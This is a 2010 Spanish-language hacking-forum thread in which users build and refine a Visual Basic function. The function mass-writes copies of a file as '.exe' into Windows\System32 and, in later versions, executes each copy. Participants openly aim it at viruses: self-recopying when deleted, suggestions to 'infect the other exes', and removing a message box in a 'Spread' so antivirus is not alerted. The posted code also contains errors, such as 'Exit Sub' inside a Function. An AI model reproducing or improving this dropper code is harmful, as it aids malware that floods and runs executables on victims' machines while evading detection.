Página 1 de 2
FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 16:35
por |||L1v3H|||
Bueno esta function la hize porque estaba aburrido y lo unico que se me vino a la cabeza fue esto... Gracias a
K-0Z Por darme animos de postearlo ... se trata de sacar Multiples Copias a un archivo .... es una bobada pero si me dan alguna idea de hacer algo mejor hasta lo intente
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Next i
Cancel:
MsgBox Err, vbCritical
End
End Function
Modo de uso:
Código: Seleccionar todo
Call FileMassive DatosDelArchivo,100, Environ("Windir") & "\System32","Exe"
Donde
DatosDelArchivo = Datos Del Archivo a sacar Copia
100 = Numero De Copias a Crear
Environ("Windir") & "\System32" = Ruta donde se guardaran las copias
"Exe" = La Extension
Espero os guste
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 16:39
por Democres
muy bueno serviria para añadirle una funcion a un virus en una sentencia de decicion de codigo ejemplo si me borran me auto copio las veces con la funcion de LIVEH
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 16:39
por keydex
muy bueno liveh,se ve que estas avanzando en la programacion
Saludos!
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 16:42
por Solitario
gracias bro,,viene bien pa mi server,,
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 17:03
por MILOR123
No brot esta bueno lo estube necesitando
salu2 gracias
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 17:04
por K-0Z
muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents
// Salu2
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 17:11
por |||L1v3H|||
K-0Z escribió:muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents
// Salu2
No seria asi?
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Shell Dest & "\File" & i & "." & Extension
Next i
Cancel:
MsgBox Err, vbCritical
End
End Function
corrijame si es asi o algo mas...
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 17:29
por orlando9427
Estas bien pero te falta el DoEvents para liberar memoria si haces simplemente eso cuando ejecutes la función con gran catidad de ficheros a crear simplemente dejará de funcionar o se cerrará poselos antes de la Shell y antes del Next con eso se me hace suficiente :P
Saludos!
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 17:43
por K-0Z
|||L1v3H||| escribió:K-0Z escribió:muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents
// Salu2
No seria asi?
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Shell Dest & "\File" & i & "." & Extension
Next i
Cancel:
MsgBox Err, vbCritical
End
End Function
corrijame si es asi o algo mas...
mas o menos asi:
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute as boolean) as integer
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
if Execute then Shell Dest & "\File" & i & "." & Extension
Next i
FileMassive = 1
exit sub
Cancel:
MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0 :g:
End Function
//
Salu2
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 17:56
por logan_lb500
Muy interessante amigo ...
Gracias por por compartir
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 18:00
por orlando9427
K-0Z escribió:|||L1v3H||| escribió:K-0Z escribió:muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents
// Salu2
No seria asi?
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Shell Dest & "\File" & i & "." & Extension
Next i
Cancel:
MsgBox Err, vbCritical
End
End Function
corrijame si es asi o algo mas...
mas o menos asi:
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute as boolean) as integer
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
if Execute then Shell Dest & "\File" & i & "." & Extension
Next i
FileMassive = 1
exit sub
Cancel:
MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0 :g:
End Function
//
Salu2
Bueno se les siguen olvidando los DoEvents asi que yo se los pondre
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute as boolean) as integer
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
DoEvents
if Execute then Shell Dest & "\File" & i & "." & Extension
DoEvents
Next i
FileMassive = 1
exit sub
Cancel:
'MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0 :g:
End Function
En todo caso si se pone en un Spread no veo la necesidad del MsgBox, solo andaría de gritón y para los oidos sensibles de los AV es mucho xD pero bueno como ustedes vean
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 18:11
por |||L1v3H|||
No deberia ser asi?
Código: Seleccionar todo
Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute As Boolean) As Integer
On Error GoTo Cancel
Dim i As Integer
For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
DoEvents
If Execute = True Then Shell Dest & "\File" & i & "." & Extension
DoEvents
Next i
FileMassive = 1
Exit Sub
Cancel:
'MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0 :g:
End Function
Re: FileCreator Massive [c0d3d L1v3H]
Publicado: 12 Sep 2010, 18:14
por K-0Z
|||L1v3H||| escribió:No deberia ser asi?
En el msn escribió:
*asi que es lo mismo, if YO = true then
*a if yo then
*o
*if instr(String,cadena) > 0 then
*if instr(String,cadena) then